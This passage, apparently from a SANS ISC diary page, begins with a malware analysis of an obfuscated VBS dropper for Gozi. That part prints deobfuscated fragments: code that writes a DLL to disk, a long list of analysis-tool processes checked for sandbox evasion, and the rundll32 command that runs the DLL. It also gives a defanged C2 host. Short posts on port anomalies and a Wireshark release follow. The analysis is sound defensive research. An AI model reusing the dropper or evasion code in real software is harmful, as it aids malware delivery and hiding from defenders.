    Ppli = Ppli + Int(inhwg.Size / (39 + ((22 + (-17.0)) + (1073741782 - 2.0))))
  If round(Ppli) < (((7 + 27.0) + (-19.0)) + (6208 - 6173.0)) Then
    GewqX("DEBUG: FS_FCH - False")
  End If
  GewqX("DEBUG: FS_FCH - True")
End Function

Do you remember all the arrays of interegers in the original script? Not all of them were followed by an execute(). Because they are used in another array in a deobfuscated function:

Function PRJh()
  GewqX("DEBUG: F_DROPPED - Start")
  Dim osteopathic:Set osteopathic = CreateObject("ADO"+"DB.S"+"tr"+"eam")
  With osteopathic
    .Type = 2
    .Charset = "ISO-8859-1"
    For Each codeposit in Array(rUM, dPO, XRbN, yrs, niTC, zVpd, FwV, FCp, bQec, SRtOv, bASM, Nys, GuUuW, WeK, wpzJ, YHKZ, JnPu, oAS, oaC, zlwL, pKkq, NXmo, QTrX, Flut, nAkRy, HRQyY, zzTHn, Csg, omBk, xJrCx, IsEW, XYJUj, NeJ, PxnF, DXx, QvkW, DnNcg, RnDr, vHgx, Ynwg, wfG, aOaUo, HiKrS, xQB, bLErk, COtj, ATRrc, sxLK, Dyj, sDZ, BmUn, jLX, FgF, uhE, dBtN, gaVt, xBJ, PuiTq, btwV, avhtp, hNd, IZh, vJMC, Sqi, saJ, svVXu, qJI, SXft, KIpu, izb, yYY, MtIz, KdoAK, ALd, QJwqG, xisN, sexYP, irJ, NCI, SBma, AQpP, FOz, nVmL, RRB, JIBYA, WfhqI, aQQN, udc, Xvle, OFMs, awj, udzh, OwA, hkgk, SxR, thlD, UXOkn, LKR, TfsoC, wSCJ, cVANb, uZO, BAOxQ, uPPY, BfW, hle, rsdR, QoZkT, Tua, aFr, GCLj, HJy, EGFrK, ppp, ArQcy, LaK, ByYn, ZyPzH, onTV, gARY, HCXTl, ZVt, nKEv, PtaK, eti, hrKE, eXwev, ddDZ, xyN, zCGr, BpvU, lmO, QMl, iZA, bvLfp, GWOG, qWtY, oin, fUDXE, bMSg, uGYU, SMa, GSS, TURRX, vvGy, EiM, BzYH, opQ, OOH, mpKJ, HPnoY, TtJsn, Jdx, DaTI, gdf, xHl, mjF, YnD, KWsA, UrvS, RUkY, szER, tIGWz, UuOZ, kCg, BPiH, ZJS, Met, KVkoD, tdLQ, opJ, CxK, hDX, OqOhw, GJPId, QkuF, jEm, bMjTD, Wfm, qnv, iwX, bPdD, nbva, CcdOc, iEvqT, PTwoC, AjDE, NURs, CXQc, hkGY, QENnM, gIpa, bVf, nNh, CBrt, jiJE, Szoen, qRa, UmwG, dmPCT, xBTPw, mJzrP, hWgcR, kOgs, DINkp, blA, lalRK, UgQmB, gQgs, ZGLuf, GpTw, NKSF, GEya, Szw, sut, mee, MGuCv, pAhj, mhgP, lWqmb, pAD, Eiyd, dCn, DbcQR, rhscz, ARgF, wFpS, MGv, Aqtuc, gfqu, LqY, Iph, MxzQ, QUT, CLzUD, ShzgE, SCr, gSu, BgGX, fEyv, nzHHg, JAtaq, EtUo, tOR, BLo, nlKy, QIKP, QTPI, JorR, Mqo, Qyut, Ekfe, MhvQF, ZtRzU, LjOgB, VyK, Bluo, POGf, nmMl, OwLN, KHn, dbsnZ, qMMuW, DInM, MlbSL, HbS, SVr, Harw, Srd, cLL, EDW754, UajxU, uFp, vCgaf, OFg, JsVin, NIuAD, OVz, veT, EzdVL, DFZgp, WfrR, NCP, sZb, xaCQ, OvD, iXS, OLez, YaIjt, hLDNJ, DMhMf, oRpL, zaY, Cfu, jwt, wRux, WFR, xmAW, Jng, TxJ, YSB, tRDsh, lerhk, cHFw, TqDMb, VEt763, zvJ, zsz, qbO, tvqtX, JFWO, Yvz, lFsX, OtLxd, KiBDP, bfK, Hvp, Kjih, WUCEg, HdTbW, WZPn, lJiok, pAuh, MBqS, grwz, aPsWo, QGdkF, Zig, BvB, AeSnp, pnZl, LEsr, yFS, eJkhN, ozCs, sPP, DpyGu, dJv, ram, fzpK, XAfht, nXB, EoaJ, dhZeR, xwuE, uyB, afK, LVQk, Niqn, FxJFC, wfUhd, kdBo, eqj, CiF, DDMRO, OTj, xnZ842, ADSM, aEQ, hqB, lrBWH, RnGp, xSeG, EOZI, QmScs, VPcRZ, lZOaQ, kCQM, RKE, dMO, LKGwR, RkVx, bPxAv, mmnQO, wSoiq, Mzm, ZEYEP, yqcY, QwCor, XWazl, kYRx, toCiV, nhELZ, kcSLs, oTBxY, DgxmU, ibw, mpkq, aaTTR, LnjuS, wOH, AZL, MdUpB, WzA, yQbeO, cTz, HhpIT, hUDb, TJr, SYw, mTQ, Ncm, Qackb, DBOpx, zUt, jDFf, NQH, EPu, qDh, rWwx, ecbWb, nmVbz, BCH, JfEdB, upm, Aek, SXLUH, kim, XjXMj, OEcx, nJpLa, bqVTd, Tsg, MOA, dBci, YUM, eFa, wQN, TXDP, uHmt, rxW, EcOhJ, KcK, ZetI, RXEK, Imq, LFfk, aWTf, dJklK, DCY, DzPVT, WkK, lmeb, VXy, hmaUa, XsV, tlPuy, KCWj, weqD, gEd574, cRWmH, uyxS, HCm, XtMnx, lijm, uAT, gexWJ, ZQs, VvCEp, pgvCk, LsJh, ySkqT, Kzwtv, gTcM, bhLVG, bMtx, oBA, pCpHo, JhwuT, tmCJ, FlnBx, CWGT, Rzj, wQPJ, JLxr, ueiX, rdbX, DuxK, cszZ, Rbg, UeK, uYU, LeIZq, hBUp, vKTFA, MIY, zCD, XtGy, OLU, Umr, WBWsH, SIjEe, wblv, IXnk, ruRbR, aNW, nJdCW, XexJB, GbZ, Coz, gdp, qtjKq, iUFUB, NlaC, rLNFl, pleE, bma, iyDD, ElvJ, AkGP, Kmv, VQI, dgbHA, bAA, AgU, YTABm, gXjXx, DYm, dXuBM, tFLpx, BqiQ, FgOOF, dHJ, zTKGi, xitWR, htZix, pvn, MVI, gsN, Mpa, Czx, FZf, kyX, uNzIl, zhcBS, yOFY, fPn, qPPJ)
      .WriteText limpet(codeposit)
    .Position = 0
    .SaveToFile sandhill + "racial.drc", 2
  End With
  GewqX("DEBUG: F_DROPPED - True")
End Function

That's why I called it the "Russian Dolls" technique because we have arrays of data used by arrays of data etc... 

Let's execute the function PRJh() and dump the file on the disk: racial.drc[2] (SHA256:77E706F98B1E4FE48A4A1631B27529DC587AEAB2D187322439D3B5A726DA2F80). It's a DLL with only one export: DllRegisterServer.

But first, let's check the other functions in the VBS script:

  • ELvv checks the available disk space
  • QSV checks the numbers of CPU (cores)
  • Zme checks the available memory
  • numb checks for interesting running processes
  • TdJb checks the uptime
  • RGOD check files in %TEMP%
  • baronial creates a file called "adobe.url" in %TEMP% which points to https://adobe.com (?)

We have here classic sandbox/virtualization detection techniques.

Here is the list of processed searched by numb:

Brenner = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")

The function ERa runs the dumped DLL:

avlt = "rundll32" + " " + sandhill + "racial.drc" + ",DllRegisterServer":setupService.create avlt

This DLL is part of the Gozi[3] malware family and communicates with a C2 server located at authd[.]feronok[.]com.

To conclude, the VBS script has some debugging code implemented via a specific function:

GewqX("DEBUG: F_MESSAGE - Start")

The function is simple:

Function GewqX(victrola)
  If (InStr(WScript.ScriptName, cStr(82984)) > 0 And ucMHV = 0) Then
  End If
End Function

The debugging is enabled if the script filename contains the substring "82984".

[1] https://bazaar.abuse.ch/sample/2def8f350b1e7fc9a45669bc5f2c6e0679e901aac233eac63550268034942d9f/
[2] https://bazaar.abuse.ch/sample/77e706f98b1e4fe48a4a1631b27529dc587aeab2d187322439d3b5a726da2f80/
[3] https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-06-03

Strange goings on with port 37

Similar to Yee Ching's diary on Thursday, I noticed an oddity in the Dshield data last weekend (which I had hoped to discuss in a diary on Wednesday, but life got in the way) and thought it was worth asking around to see if anyone knows what is going on. As soon as I saw it, I reconfigured my honeypots to try to capture the traffic, but wasn't able to. I'm always very interested when I see some of the legacy ports and protocols pop up. In this case, %%port:37%% is the time protocol which operates on both TCP and UDP and is one of the many services that frequently ran on the low ports of Unix machines I administered back in the 1980s and 1990s. In recent years, most operating systems have disabled these services since they only seemed to be used for DDoS purposes. On Thursday, I took another look at the graph.

By default, we normally only show the Targets/Day and Sources/Day, but I've added in the Reports/Day and TCP Ratio for this analysis. The first thing that I noticed was the huge spike in reports. Our baseline was in the 200-500 reports/day range, but on 26 May, this jumped to around 46,000. So someone, was very actively looking, the other oddity to me was, that prior to the spike, nearly all of the probes were TCP, but from 25 May - 2 Jun, nearly all the attack traffic was UDP (the gold line on the graph above, ranges from 0 = all UDP to 100 = all TCP), which then seemed to disappear and return to the mostly TCP probes on 3 Jun when I took this snapshot. Since I was unable to capture any of the packets, I don't know if there was some strange data there that might have shed some light on the purpose of this activity. The total number of sources was still pretty small ranging from a low of 69 on 25 May to 176 on 2 Jun. Meanwhile the number of targets ranged from 156 on 25 May to almost 700 on 27 May, which is right in the range of targets we've seen for the past 10 months (there was a flurry of activity on the port last June and July that spiked regularly around 2400-2500 targets, not shown in the graph above). 

So, I'm not sure what to make of it, especially without any packets. If any of you managed to capture any of this traffic last weekend and early this past week and care to share, we'd love to have a look. Otherwise, if you have any insight into what was going on, please share below or via our contact form. I'm always very curious about these traffic oddities.

Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu


Published: 2021-06-03

DShield Data Analysis: Taking a Look at Port 45740 Activity

At the SANS Internet Storm Center (ISC), handlers frequently analyze data submitted from DShield participants to determine activity trends and potential attacks. A few days ago on May 31st, I observed a small anomaly for %%port:45740%% and decided to monitor it for the next 3 days or so. There was a huge spike in number of sources/day and reports/day recorded on May 31st as shown in Figure 1.

Figure 1: Port 45740 Activity (Taken June 1, 2021)

I did not receive any probes on this port on my sensors, but after digging into the DShield data, it was observed that the reported traffic to port 45740 were sent via UDP.

Over the next few days (till June 3, 2021), the number of sources/day and reports/day have dropped drastically as compared to May 31 (with reference to Figure 2). A check on Censys and Shodan did not yield any interesting findings, although there were some mentions of Distributed Hash Table (DHT) along with some IP addresses and port 45740 as a pair.

Figure 2: Port 45740 Activity (Taken June 3, 2021)

If anyone has any insights or information that could help shed light on this phenomenon, please comment down below, contact us via our contact page or e-mail us.

Yee Ching Tok, ISC Handler
Personal Site


Published: 2021-06-02

Wireshark 3.4.6 (and 3.2.14) released

A new version of wireshark is out, a couple of bugfixes including a QUIC TLK decryption issue. Also, the Windows version now comes with npcap 1.31 (updated from 1.10).

Find the source code and installation pkgs at https://www.wireshark.org/download.html

Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu